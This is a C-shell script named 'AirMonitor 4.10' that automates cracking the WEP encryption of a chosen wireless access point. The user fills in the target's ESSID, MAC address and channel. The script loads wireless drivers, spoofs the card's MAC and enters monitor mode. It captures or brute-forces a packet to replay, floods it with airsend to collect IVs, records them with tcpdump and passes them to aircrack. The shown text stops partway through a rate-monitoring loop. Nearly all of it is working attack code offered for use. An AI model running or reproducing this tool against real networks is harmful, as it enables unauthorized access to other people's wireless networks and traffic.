#!/bin/csh -f
###############################################################################
#                               AirMonitor 4.10                               #
#                                                                             #
#                                     by                                      #
#                                                                             #
#             L. Padilla (e-mail: padilla at domain "gae ucm es")             #
#                                                                             #
#                       Madrid, April 2005 - June 2008                        #
#                                                                             #
# Latest version at http://www.gae.ucm.es/~padilla/extrawork/airmonitor.csh   #
###############################################################################


#  Optional script debugging (remove the '#' for troubleshooting):

#set echo on


#  Configuration variables you have to set, use 'iwlist scan' for a list:

set essid = "VictiM"           #  ESSID   of the AP to attack.
set apmac = 00:0F:ED:CB:A9:87  #  MAC     of the AP to attack.
set chan  = 3                  #  Channel of the AP to attack.


#  Configuration variables you might need to set:

set brute  = 0    #  Brute force the first packet: 0 = inactive, 1 = normal,
                  # 2 = WLAN specific (if wlan = 0 or ESSID != WLAN_XX behaves
                  #                                                    as = 1).
set wlan   = 1    #  WLAN attack: 0 = normal, 1 = WLAN specific (much faster,
                  #                        if ESSID != WLAN_XX behaves as = 0).
set weak   = 0    #  Capture type: 0 = all data packets (faster crack),
                  #                1 = only weak IVs (less disk space).
set weakap = 0    #  Association: 0 = normal, 1 = weak AP.
set dpath  = "."  #  Output data directory (at least several tens MB required).
set mac = 00:01:23:45:67:89  #  MAC to set to our interface, you can leave it
                             #  as is unless the AP has a MAC filter.


#  Configuration variables you usually won't need to set:

set debug = 0   #  Driver debug level.
set mod   =     #  Wireless module,    leave empty unless you need to force it.
                #        Tested modules: acx, acx_pci, rt2500, rt2570 and rt73.
set dev   =     #  Wireless interface, leave empty unless you need to force it.
set fwdir = ""  #  Firmware directory, leave empty unless you need to force it.

set tmpdir = "/tmp/airmonitor"  #  Temporary directory, avoid blank spaces.


if ("$1" == "-h") then

  echo ""
  echo "Usage: $0 [-h] [essid] [apmac] [chan] [brute] [wlan] [weak] [weakap] [dpath] [mac] [debug] [mod] [dev] [fwdir] [tmpdir]"
  echo ""
  echo "Default values will be used for omitted arguments. See source for a description"
  echo "of the arguments and default values. Order is important, so all arguments must"
  echo "be specified until the last one with a non default value, but you can use the"
  echo "character '-' to indicate a default value."
  echo ""
  echo "Example: $0 "'"'"VictiM"'"'" 00:0F:ED:CB:A9:87 1 - 0"
  echo ""
  exit

endif

if ("$1"  != "" && "$1"  != "-") set essid  = "$1"

if ("$2"  != "" && "$2"  != "-") set apmac  = "$2"

if ("$3"  != "" && "$3"  != "-") set chan   = "$3"

if ("$4"  != "" && "$4"  != "-") set brute  = "$4"

if ("$5"  != "" && "$5"  != "-") set wlan   = "$5"

if ("$6"  != "" && "$6"  != "-") set weak   = "$6"

if ("$7"  != "" && "$7"  != "-") set weakap = "$7"

if ("$8"  != "" && "$8"  != "-") set dpath  = "$8"

if ("$9"  != "" && "$9"  != "-") set mac    = "$9"

if ("$10" != "" && "$10" != "-") set debug  = "$10"

if ("$11" != "" && "$11" != "-") set mod    = "$11"

if ("$12" != "" && "$12" != "-") set dev    = "$12"

if ("$13" != "" && "$13" != "-") set fwdir  = "$13"

if ("$14" != "" && "$14" != "-") set tmpdir = "$14"


setenv PATH "$cwd":.:/sbin:/usr/sbin:/bin:/usr/bin:"$PATH"
set apmacs = `echo $apmac | tr -d ':' | tr 'A-F' 'a-f'`

set  rc1 = 170  # RC1 for normal packets (llc header).
set  rc2 = 170  # RC2 for normal packets (llc header).
set brc1 = 193  # RC1 for brute forced packets.
set brc2 =  63  # RC2 for brute forced packets.
set lsize = "greater 50"  #  Arbitrary size limit of packets with llc header.


# Consistency checks:

if ($wlan == 1 && `echo "$essid" | head -c 5` != WLAN_) then
  echo "ESSID not of WLAN type, turning wlan variable from 1 to 0."
  set wlan = 0
endif

if ($brute == 2 && $wlan == 0) then
  echo "Incompatible settings, turning brute variable from 2 to 1."
  set brute = 1
endif

set aircrack = `aircrack_rcs |& grep usage | cut -d : -f 1`

if ($brute == 1 && "$aircrack"X == X) then
  echo "aircrack_rcs not found, turning brute variable from 1 to 0."
  set brute = 0
endif

if ("$aircrack"X == X) then
  set aircrack = `aircrack |& grep usage | cut -d : -f 1`
  if ("$aircrack"X == X) then
    echo "aircrack not found, cracking will not be possible, but continuing anyway to"
    echo "collect packets..."
    set aircrack = echo
  else
    set aircrack = aircrack
    set  rc1 = ""
    set  rc2 = ""
  endif
else
  set aircrack = aircrack_rcs
endif


#  Check disk space requirements:

echo "Checking disk space requirements..."

mkdir -p "$tmpdir"

if (`df -k "$tmpdir" | tail -1 | awk '{print $4}'` < 100) then
  echo "Error: not enough free disk space in temporary directory $tmpdir."
  echo "You need at least 100 kB. You may choose another directory writing the tmdir"
  echo "variable at the beginning of this script, or specify it using command line"
  echo "arguments (see $0 -h)."
  exit
endif

if (`df -k "$dpath" | tail -1 | awk '{print $4}'` < 1000) then
  echo "Error: not enough free disk space in output data directory $dpath."
  echo "You need at least 1 MB just to start but > 50 MB are recommended. You may"
  echo "choose another directory writing the dpath variable at the beginning of this"
  echo "script, or specify it using command line arguments (see $0 -h)."
  exit
endif

echo "Minimum disk space requirements fulfilled."


#  Initialize driver:

echo "Initializing driver..."

killall sleep >& /dev/null
sleep 2
killall -9 sleep >& /dev/null

killall airsend >& /dev/null
sleep 2
killall -9 airsend >& /dev/null

if ("$dev"X == X) then
  iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1  | xargs -i ifconfig {} down
else
  ifconfig $dev down >& /dev/null
endif

begin:

sync
if ("$mod"X == X) then
  rmmod acx     >& /dev/null
  rmmod acx_pci >& /dev/null
  rmmod rt2500  >& /dev/null
  rmmod rt2570  >& /dev/null
  rmmod rt73    >& /dev/null
else
  rmmod $mod >& /dev/null
endif

if ("$dev"X == X) set pdev = `iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1 | tr '\n' '|'`

sync
if ("$mod"X == acxX) then

  modprobe -f $mod

  if ($stat) then
    echo "Error: unable to load module $mod. Type dmesg to get more details."
    exit
  endif

else if ("$mod"X == acx_pciX) then

  if ("$fwdir"X == X) then

    if (-e ./TIACX111.BIN || -e ./FwRad16.bin || -e ./FW1130.BIN) then
      set fwdir = .
    else if (-e /usr/share/acx/TIACX111.BIN || -e /usr/share/acx/FwRad16.bin || -e /usr/share/acx/FW1130.BIN) then
      set fwdir = /usr/share/acx
    else if (-e "$tmpdir"/TIACX111.BIN || -e "$tmpdir"/FwRad16.bin || -e "$tmpdir"/FW1130.BIN) then
      set fwdir = "$tmpdir"
    else if (`cat /etc/fstab | grep ^/ | cut -d " " -f 1 | xargs -i mount -r {} >& /dev/null; find . /usr/share/acx* /usr/share/ACX* /mnt/*/usr/share/acx* /mnt/*/usr/share/ACX* /*/WINDOWS /*/windows /*/Windows /mnt/*/WINDOWS /mnt/*/windows /mnt/*/Windows -maxdepth 3 |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt; cat "$tmpdir"/am.txt | head -1 | cut -d " " -f 1`X != X) then
      cp "`cat '$tmpdir'/am.txt | head -1`" "$tmpdir"/TIACX111.BIN
      set fwdir = "$tmpdir"
    else
      find / |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt

      if (`cat "$tmpdir"/am.txt | tail -1 | cut -d " " -f 1`X != X) then
        cp "`cat '$tmpdir'/am.txt | tail -1`" "$tmpdir"/TIACX111.BIN
        set fwdir = "$tmpdir"
      else
        echo "Error: unable to find firmware. Make sure you place a copy available and write"
        echo "its directory in the fwdir variable at the beginning of this script, or specify"
        echo "it using command line arguments (see $0 -h)."
        exit
      endif
    endif
  endif

  sync
  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko firmware_dir="$fwdir"
    set stat = $status
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o firmware_dir="$fwdir"
    set stat = $status
  else
    modprobe -f $mod firmware_dir="$fwdir"
    set stat = $status
  endif

  if ($stat) then
    echo "Error: unable to load module $mod. Type dmesg to get more details."
    exit
  endif

else if ("$mod"X == rt2500X || "$mod"X == rt2570X || "$mod"X == rt73X) then

  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko debug=$debug
    set stat = $status
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o debug=$debug
    set stat = $status
  else
    modprobe -f $mod debug=$debug
    set stat = $status
  endif

  if ($stat) then
    echo "Error: unable to load module $mod. Type dmesg to get more details."
    exit
  endif

else if ("$mod"X == X) then

  set mod = rt73

  if (-e ./$mod.ko) then
    insmod -f ./$mod.ko debug=$debug
    set stat = $status
  else if (-e ./$mod.o) then
    insmod -f ./$mod.o debug=$debug
    set stat = $status
  else
    modprobe -f $mod debug=$debug
    set stat = $status
  endif

  if ($stat || `iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`X == X) then

    set mod = rt2570

    if (-e ./$mod.ko) then
      insmod -f ./$mod.ko debug=$debug
      set stat = $status
    else if (-e ./$mod.o) then
      insmod -f ./$mod.o debug=$debug
      set stat = $status
    else
      modprobe -f $mod debug=$debug
      set stat = $status
    endif

    if ($stat || `iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`X == X) then

      set mod = rt2500

      if (-e ./$mod.ko) then
        insmod -f ./$mod.ko debug=$debug
        set stat = $status
      else if (-e ./$mod.o) then
        insmod -f ./$mod.o debug=$debug
        set stat = $status
      else
        modprobe -f $mod debug=$debug
        set stat = $status
      endif

      if ($stat || `iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`X == X) then

        set mod = acx

        modprobe -f $mod
        set stat = $status

        if ($stat || `iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`X == X) then

          if ("$fwdir"X == X) then

            if (-e ./TIACX111.BIN || -e ./FwRad16.bin || -e ./FW1130.BIN) then
              set fwdir = .
            else if (-e /usr/share/acx/TIACX111.BIN || -e /usr/share/acx/FwRad16.bin || -e /usr/share/acx/FW1130.BIN) then
              set fwdir = /usr/share/acx
            else if (-e "$tmpdir"/TIACX111.BIN || -e "$tmpdir"/FwRad16.bin || -e "$tmpdir"/FW1130.BIN) then
              set fwdir = "$tmpdir"
            else if (`cat /etc/fstab | grep ^/ | cut -d " " -f 1 | xargs -i mount -r {} >& /dev/null; find . /usr/share/acx* /usr/share/ACX* /mnt/*/usr/share/acx* /mnt/*/usr/share/ACX* /*/WINDOWS /*/windows /*/Windows /mnt/*/WINDOWS /mnt/*/windows /mnt/*/Windows -maxdepth 3 |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt; cat "$tmpdir"/am.txt | head -1 | cut -d " " -f 1`X != X) then
              cp "`cat '$tmpdir'/am.txt | head -1`" "$tmpdir"/TIACX111.BIN
              set fwdir = "$tmpdir"
            else
              find / |& egrep -i '/TIACX111.BIN$|/FwRad16.bin$|/FW1130.BIN$' > "$tmpdir"/am.txt

              if (`cat "$tmpdir"/am.txt | tail -1 | cut -d " " -f 1`X != X) then
                cp "`cat '$tmpdir'/am.txt | tail -1`" "$tmpdir"/TIACX111.BIN
                set fwdir = "$tmpdir"
              else
                echo "Error: unable to load a working rt73, rt2570, rt2500 or acx module (you may try"
                echo "to specify the mod variable), or to find firmware for an ACX111 card. Type"
                echo "dmesg to get more details. Make sure you place a copy available if you really"
                echo "have this kind of card and write its directory in the fwdir variable at the"
                echo "beginning of this script, or specify it using command line arguments (see"
                echo "$0 -h)."
                exit
              endif
            endif
          endif

          set mod = acx_pci

          sync
          if (-e ./$mod.ko) then
            insmod -f ./$mod.ko firmware_dir="$fwdir"
            set stat = $status
          else if (-e ./$mod.o) then
            insmod -f ./$mod.o firmware_dir="$fwdir"
            set stat = $status
          else
            modprobe -f $mod firmware_dir="$fwdir"
            set stat = $status
          endif

          if ($stat) then
            echo "Error: unable to load a working module rt73, rt2570, rt2500, acx or acx_pci."
            echo "Type dmesg to get more details. You may try to write the proper value in the"
            echo "mod variable at the beginning of this script, or specify it using command line"
            echo "arguments (see $0 -h)."
            exit
          endif
        endif
      endif
    endif
  endif

else

  echo "Warning: untested module $mod, going ahead anyway..."

  modprobe -f $mod
  set stat = $status

  if ($stat) then
    echo "Error: unable to load module $mod. Type dmesg to get more details."
    exit
  endif

endif

if ("$dev"X == X) set dev = `iwconfig |& egrep "ESSID|RT73" | cut -d " " -f 1 | egrep -v "$pdev xxx" | tail -1`

if ("$dev"X == X) then
  echo "Error: unable to find the right device (maybe wireless hardware not present?)."
  echo "Type dmesg to get more details. Try ifconfig -a to see all available network"
  echo "devices and write the proper value in the dev variable at the beginning of this"
  echo "script, or specify it using command line arguments (see $0 -h)."
  exit
endif

ifconfig $dev down >& /dev/null

if ($status) then
  echo "Error: invalid device name $dev. Try ifconfig -a to see all available network"
  echo "devices and write the proper value in the dev variable at the beginning of this"
  echo "script, or specify it using command line arguments (see $0 -h)."
  exit
endif

echo "Driver initialized successfully."


#  Preconfigure driver and interface:

echo "Preconfiguring driver and interface..."

if ($mod == rt73) ifconfig $dev up

if ($mod == acx || $mod == acx_pci) then
  iwpriv $dev SetDebug $debug
  iwpriv $dev monitor 0 $chan
endif

iwconfig $dev nick airmonitor
iwconfig $dev essid "$essid"
iwconfig $dev channel $chan
iwconfig $dev mode managed
iwconfig $dev rate auto >& /dev/null
iwconfig $dev key 33
iwconfig $dev rts off

if ($mod == acx || $mod == acx_pci) then
  iwconfig $dev sens 2
  iwconfig $dev sens 3
  iwconfig $dev retry min limit 1
  iwconfig $dev retry max limit 1
  iwconfig $dev retry limit 1
  iwconfig $dev retry min lifetime 1u
  iwconfig $dev retry max lifetime 1u
  iwconfig $dev retry lifetime 1u
  iwconfig $dev txpower auto
  iwconfig $dev power off
  iwconfig $dev commit
else if ($mod == rt2500 || $mod == rt2570 || $mod == rt73) then
  iwconfig $dev ap $apmac >& /dev/null
  iwconfig $dev frag off
  iwpriv $dev enc 2 >& /dev/null
endif

if ($mod == rt73) ifconfig $dev down

ifconfig $dev hw ether $mac

echo "Driver and interface preconfigured."


#  Show AP list if essid unconfigured:

if ("$essid" == VictiM) then
  echo "AP data not configured, showing visible APs you can choose from (hidden nodes"
  echo "do not appear):"

  ifconfig $dev up
  sleep 5
  iwlist $dev scan >& /dev/null
  iwlist $dev scan

  echo "Now choose the cell you want to attack (any of those with encryption key:on"
  echo "except if using higher encryption than WEP) and write the values of ESSID,"
  echo "address and channel in the variables essid, apmac and chan at the beginning of"
  echo "this script, or specify them using command line arguments (see $0 -h)."

  ifconfig $dev down

  exit
endif


#  If brute force WLAN specific attack then skip replay packet capture:

if ($brute == 2 && -e "$dpath"/"replay_$essid.pcap") set brute = 0

if ($brute == 2) then
  set i = 0
  goto init
endif


#  Capture a packet to replay:

while (! -e "$dpath"/"replay_$essid.pcap")

  if ($brute) then
    echo "Trying to capture indefinitely a packet to replay using active brute force..."
  else
    echo "Trying to passively capture for 5 minutes a packet to replay..."
  endif

  ifconfig $dev up

  if ($mod == rt73) iwconfig $dev key 33

  if ($weakap) iwconfig $dev rate 1M fixed

  if ($brute) then

#  Wait for association:

    echo "Waiting during 1 minute for association with AP..."
    echo "(best moment to interrupt this script with ctrl-c)"

    set i = 1
    while (`iwconfig $dev |& grep Point: | awk '{print $NF}' | tr A-F a-f` != `echo $apmac | tr A-F a-f`)
      sleep 1
      @ i = $i + 1
      if ($i > 60) then
        echo "Association failed (poor signal of AP? wireless settings incompatible with AP?"
        echo "MAC filter in AP? dmesg may show a hint, you may try to set variable weakap = 1"
        echo "at the beginning of this script, or specify it using command line arguments,"
        echo "see $0 -h.), restarting to retry..."
        ifconfig $dev down
        goto begin
      endif
    end

    iwconfig $dev rate 1M fixed

    set nump = 1
  else
    set nump = 100
  endif


#  Set monitor mode:

  echo "Setting monitor mode..."

  if ($mod == acx || $mod == acx_pci) then
    iwpriv $dev monitor 2 $chan
    iwconfig $dev mode monitor channel $chan >& /dev/null
  else if ($mod == rt2500 || $mod == rt2570 || $mod == rt73) then
    iwpriv $dev enc 1 >& /dev/null
    iwpriv $dev rfmontx 1 >& /dev/null
    iwconfig $dev mode monitor channel $chan
    if ($mod == rt73) then
      iwpriv $dev forceprism 2
    else
      iwpriv $dev forceprismheader 2 >& /dev/null
    endif
  else
    airmon.sh start $dev $chan
  endif

  echo "Monitor mode set."


#  Launch packet capture:

  if (-e "$dpath"/"tmp_replay_$essid.pcap" && -e "$dpath"/"$essid.pcap") then
    set size = `ls -l "$dpath"/"tmp_replay_$essid.pcap" | awk '{print $5}'`
    @ size = $size - 24
    tail -c $size "$dpath"/"tmp_replay_$essid.pcap" >> "$dpath"/"$essid.pcap"
    rm -f "$dpath"/"tmp_replay_$essid.pcap"
  else
    mv "$dpath"/"tmp_replay_$essid.pcap" "$dpath"/"$essid.pcap" >& /dev/null
  endif

  echo "Starting packet capture..."

  (tcpdump -i $dev -c $nump -s 0 -w "$dpath"/"tmp_replay_$essid.pcap" "((ether[0:2]=0x0841 and greater 34) or ether[0:2]!=0x0841) and ether[0:1]=0x08 and ((ether[4:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`))" >& /dev/null &) >& /dev/null

  sleep 10

  if ($brute) then

#  Start sending trial packets (using practical limit of 500 packet/s):

    echo "Starting active brute force attack..."
    (airsend $dev replay_brute_force.pcap -b 0 -c 2 -d 4000 -a1 `echo $apmac | tr -d :` -a2 `echo $mac | tr -d :` &) >& /dev/null

    (airsend $dev replay_brute_force.pcap -b 128 -c 2 -d 4000 -a1 `echo $apmac | tr -d :` -a2 `echo $mac | tr -d :` &) >& /dev/null

    set limit = 10000000
  else
    set limit = 30
  endif

  set i = 0
  while (`ps -ef | grep " tcpdump " | grep " -w $dpath/tmp_replay_$essid.pcap " | grep -v grep | cut -d " " -f 1`X != X)
    @ i = $i + 1
    if ($i > $limit) break
    sleep 10
  end

  kill `ps -ef | grep " tcpdump " | grep " -w $dpath/tmp_replay_$essid.pcap "\ | grep -v grep | awk '{print $2}'` >& /dev/null
  sleep 2
  killall -9 `ps -ef | grep " tcpdump " | grep " -w $dpath/tmp_replay_$essid.pcap "\ | grep -v grep | awk '{print $2}'` >& /dev/null

  if ($brute) then

    killall sleep >& /dev/null
    sleep 2
    killall -9 sleep >& /dev/null

    killall airsend >& /dev/null
    sleep 2
    killall -9 airsend >& /dev/null

    if ($i > 10000000) then
      echo "Stopping packet capture after more than 3 years :-)..."
      echo "Packet capture stopped."
    else
      echo "Brute force attack stopped after receiving $nump packet."
    endif
  else
    if ($i > 30) then
      echo "Stopping packet capture after 5 minutes..."
      echo "Packet capture stopped."
    else
      echo "Packet capture stopped after receiving $nump packets."
    endif
  endif


#  Set normal mode:

  echo "Setting normal mode..."

  if ($mod == acx || $mod == acx_pci) then
    iwpriv $dev monitor 0 $chan
  else if ($mod == rt2500 || $mod == rt2570 || $mod == rt73) then
    iwpriv $dev enc 2 >& /dev/null
  else
    airmon.sh stop $dev $chan
  endif

  iwconfig $dev mode managed

  ifconfig $dev down

  echo "Normal mode set."


#  Check for a good replay packet:

  echo "Checking for a good replay packet in the capture file..."

  set i = 101
  (tcpdump -nlr "$dpath"/"tmp_replay_$essid.pcap" -c 1 broadcast and less $i and $lsize | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
  set iv = `cat "$tmpdir"/am.txt`
  while ("$iv"X == X)
    @ i = $i + 100
    if ($i > 1700) break
    (tcpdump -nlr "$dpath"/"tmp_replay_$essid.pcap" -c 1 broadcast and less $i and $lsize | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
    set iv = `cat "$tmpdir"/am.txt`
  end

  if ($i < 300) then
    tcpdump -r "$dpath"/"tmp_replay_$essid.pcap" -c 1 broadcast and less $i and $lsize -s 0 -w "$dpath"/"replay_$essid.pcap" >& /dev/null
    mv -f "$dpath"/"replay_$essid.pcap" "$dpath"/"replay_$essid.pcap.tmp"
    echo "Good packet captured: broadcast and small."
    break
  else if ($i < 1700) then
    tcpdump -r "$dpath"/"tmp_replay_$essid.pcap" -c 1 broadcast and less $i and $lsize -s 0 -w "$dpath"/"replay_$essid.pcap" >& /dev/null
    mv -f "$dpath"/"replay_$essid.pcap" "$dpath"/"replay_$essid.pcap.tmp"
    echo "Bad packet captured: broadcast but not small."
    echo "Enter ctrl-c now and restart this script to try to capture a better replay"
    echo "packet, otherwise going ahead with the attack in 20 seconds."
    sleep 20
    break
  endif

  set i = 101
  (tcpdump -nlr "$dpath"/"tmp_replay_$essid.pcap" -c 1 less $i and $lsize | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
  set iv = `cat "$tmpdir"/am.txt`
  while ("$iv"X == X)
    @ i = $i + 100
    if ($i > 1700) break
    (tcpdump -nlr "$dpath"/"tmp_replay_$essid.pcap" -c 1 less $i and $lsize | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
    set iv = `cat "$tmpdir"/am.txt`
  end

  if ($i < 300) then
    tcpdump -r "$dpath"/"tmp_replay_$essid.pcap" -c 1 less $i and $lsize -s 0 -w "$dpath"/"replay_$essid.pcap" >& /dev/null
    mv -f "$dpath"/"replay_$essid.pcap" "$dpath"/"replay_$essid.pcap.tmp"
    echo "Non good packet captured: not broadcast but small."
    echo "Enter ctrl-c now and restart this script to try to capture a better replay"
    echo "packet, otherwise going ahead with the attack in 20 seconds."
    sleep 20
    break
  else if ($i < 1700) then
    tcpdump -r "$dpath"/"tmp_replay_$essid.pcap" -c 1 less $i and $lsize -s 0 -w "$dpath"/"replay_$essid.pcap" >& /dev/null
    mv -f "$dpath"/"replay_$essid.pcap" "$dpath"/"replay_$essid.pcap.tmp"
    echo "Very bad packet captured: neither broadcast nor small."
    echo "Enter ctrl-c now and restart this script to try to capture a better replay"
    echo "packet, otherwise going ahead with the attack in 20 seconds."
    sleep 20
    break
  endif

  (tcpdump -nlr "$dpath"/"tmp_replay_$essid.pcap" -c 1 | cut -d " " -f 1 > "$tmpdir"/am.txt) >& /dev/null
  set iv = `cat "$tmpdir"/am.txt`

  if ("$iv"X != X) then
    tcpdump -r "$dpath"/"tmp_replay_$essid.pcap" -c 1 -s 0 -w "$dpath"/"replay_$essid.pcap" >& /dev/null
    if ($wlan) then
      echo "Brute forced packet captured."
      break
    else if ($brute) then
      echo "Brute forced packet captured. This attack is experimental and it may fail. So"
      echo "if aircrack does not find the key after recording several MB of packets, then"
      echo "try again but removing the files $dpath/*$essid.pcap"
      echo "and setting the variable brute = 0 at the beginning of this script, or specify"
      echo "it using command line arguments (see $0 -h). Going ahead with the"
      echo "attack in 20 seconds."
      sleep 20
      break
    endif
  endif

  echo "No suitable packet captured at all."
  echo "Enter ctrl-c now and restart this script later to try again, otherwise going to"
  echo "try to capture again in 20 seconds."
  sleep 20

end

ifconfig $dev down

if (! -e "$dpath"/"replay_$essid.pcap") mv "$dpath"/"replay_$essid.pcap.tmp" "$dpath"/"replay_$essid.pcap"

if ($brute && `tcpdump -nlr "$dpath"/"replay_$essid.pcap" $lsize |& wc -l` == 1) then
  set rc1 = $brc1
  set rc2 = $brc2
  set lsize = "less 50"
endif

if (-e "$dpath"/"tmp_replay_$essid.pcap" && -e "$dpath"/"$essid.pcap") then
  set size = `ls -l "$dpath"/"tmp_replay_$essid.pcap" | awk '{print $5}'`
  @ size = $size - 24
  tail -c $size "$dpath"/"tmp_replay_$essid.pcap" >> "$dpath"/"$essid.pcap"
  rm -f "$dpath"/"tmp_replay_$essid.pcap"
else
  mv "$dpath"/"tmp_replay_$essid.pcap" "$dpath"/"$essid.pcap" >& /dev/null
endif


#  If WLAN specific attack then perform the attack:

if ($wlan) then

  echo "Starting passive WLAN specific attack..."

  wlan_brute_passive.csh "$essid" $apmac

  if ($status) then
    echo "Trying normal attack..."
    set wlan = 0
  else
    echo "Stopping and exiting..."
    goto fin
  endif

endif


#  Get IV of replay packet:

getiv:

echo "Getting IV of replay packet..."

(tcpdump -r "$dpath"/"replay_$essid.pcap" -xnc 1 |& grep 0x0000: | awk '{print $2 $3}' > "$tmpdir"/am.txt) >& /dev/null
set iv = `cat "$tmpdir"/am.txt`

echo "Got IV = $iv."


#  Configure driver and interface:

set psize = 0
set i = 1

init:

echo "Loop $i..."

echo "Configuring driver and interface..."

if ($mod == rt73) ifconfig $dev up

if ($mod == acx || $mod == acx_pci) then
  iwpriv $dev SetDebug $debug
  iwpriv $dev monitor 0 $chan
endif

iwconfig $dev nick airmonitor
iwconfig $dev essid "$essid"
iwconfig $dev channel $chan
iwconfig $dev mode managed
iwconfig $dev rate auto >& /dev/null
iwconfig $dev key 33
iwconfig $dev rts off

if ($mod == acx || $mod == acx_pci) then
  iwconfig $dev sens 2
  iwconfig $dev sens 3
  iwconfig $dev retry min limit 1
  iwconfig $dev retry max limit 1
  iwconfig $dev retry limit 1
  iwconfig $dev retry min lifetime 1u
  iwconfig $dev retry max lifetime 1u
  iwconfig $dev retry lifetime 1u
  iwconfig $dev txpower auto
  iwconfig $dev power off
  iwconfig $dev commit
else if ($mod == rt2500 || $mod == rt2570 || $mod == rt73) then
  iwconfig $dev ap $apmac >& /dev/null
  iwconfig $dev frag off
  iwpriv $dev enc 2 >& /dev/null
endif

ifconfig $dev up
ifconfig $dev down
ifconfig $dev hw ether $mac
ifconfig $dev up

iwconfig $dev key 33

if ($weakap) iwconfig $dev rate 1M fixed

echo "Driver and interface configured."


#  Wait for association:

echo "Waiting during 1 minute for association with AP..."
echo "(best moment to interrupt this script with ctrl-c)"

set j = 1
while (`iwconfig $dev |& grep Point: | awk '{print $NF}' | tr A-F a-f` != `echo $apmac | tr A-F a-f`)
  sleep 1
  @ j = $j + 1
  if ($j > 60) then
    echo "Association failed (poor signal of AP? wireless settings incompatible with AP?"
    echo "MAC filter in AP? dmesg may show a hint, you may try to set variable weakap = 1"
    echo "at the beginning of this script, or specify it using command line arguments,"
    echo "see $0 -h.), restarting to retry..."
    goto reset
  endif
end

iwconfig $dev rate 1M fixed


#  Set monitor mode:

echo "Setting monitor mode..."

if ($mod == acx || $mod == acx_pci) then
  iwpriv $dev monitor 2 $chan
  iwconfig $dev mode monitor channel $chan >& /dev/null
else if ($mod == rt2500 || $mod == rt2570 || $mod == rt73) then
  iwpriv $dev enc 1 >& /dev/null
  iwpriv $dev rfmontx 1 >& /dev/null
  iwconfig $dev mode monitor channel $chan
  if ($mod == rt73) then
    iwpriv $dev forceprism 2
  else
    iwpriv $dev forceprismheader 2 >& /dev/null
  endif
else
  airmon.sh start $dev $chan
endif

echo "Monitor mode set."


#  If brute force WLAN specific attack then perform the attack:

if ($brute == 2) then

  echo "Starting active brute force WLAN specific attack..."

  wlan_brute_active.csh $dev "$essid" $apmac $mac

  if ($status) then
    echo "Trying normal attack..."
    set wlan = 0
    goto getiv
  else
    echo "Stopping and exiting..."
    goto fin
  endif

endif


#  Append lost temporary capture file to main capture file:

if (! -e "$dpath"/"$essid.pcap") cp "$dpath"/"replay_$essid.pcap" "$dpath"/"$essid.pcap"

if (-e "$dpath"/airmonitor$i.pcap) then
  echo "Appending lost temporary capture file to main capture file..."

  set size = `ls -l "$dpath"/airmonitor$i.pcap | awk '{print $5}'`
  @ size = $size - 24
  @ sizek = $size / 1024
  @ space = (`df -k "$dpath" | tail -1 | awk '{print $4}'` - 100)

  if ($sizek < $space) then
    tail -c $size "$dpath"/airmonitor$i.pcap >> "$dpath"/"$essid.pcap"
    if (! $status) rm -f "$dpath"/airmonitor$i.pcap
  else
    echo "Warning: not enough free disk space in output data directory $dpath"
    echo "to go on, exiting. You can restart this script once you free some disk space."
    goto tmpfin
  endif

  echo "Temporary capture file appended to main capture file."
endif


#  Launch packet capture process:

echo "Launching packet capture..."

if ($weak) then

  (weakcap $dev "$dpath"/airmonitor$i.pcap "$lsize and ether[24:4]!=0x$iv and ether[0:1]=0x08 and ((ether[4:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`))" &) >& /dev/null

else

  (tcpdump -i $dev -s 0 -w "$dpath"/airmonitor$i.pcap "$lsize and ether[24:4]!=0x$iv and ether[0:1]=0x08 and ((ether[4:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[8:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`) or (ether[10:4]=0x`echo $apmac | tr -d ':' | cut -c 1-8` and ether[14:2]=0x`echo $apmac | tr -d ':' | cut -c 9-12`))" >& /dev/null &) >& /dev/null

endif

echo "Packet capture launched."


#  Start packet replay (using practical limit of 500 packet/s):

echo "Starting packet replay..."

(airsend $dev "$dpath"/"replay_$essid.pcap" -c 0 -d 1000 -fc 0841 -a1 `echo $apmac | tr -d :` -a2 `echo $mac | tr -d :` -a3 ffffffffffff &) >& /dev/null
(airsend $dev "$dpath"/"replay_$essid.pcap" -c 0 -d 1000 -fc 0841 -a1 `echo $apmac | tr -d :` -a2 `echo $mac | tr -d :` -a3 ffffffffffff &) >& /dev/null

echo "Packet replay started."


#  Get incoming data packet rate to detect driver hang outs:

set rate = 1
while ($rate > 0)
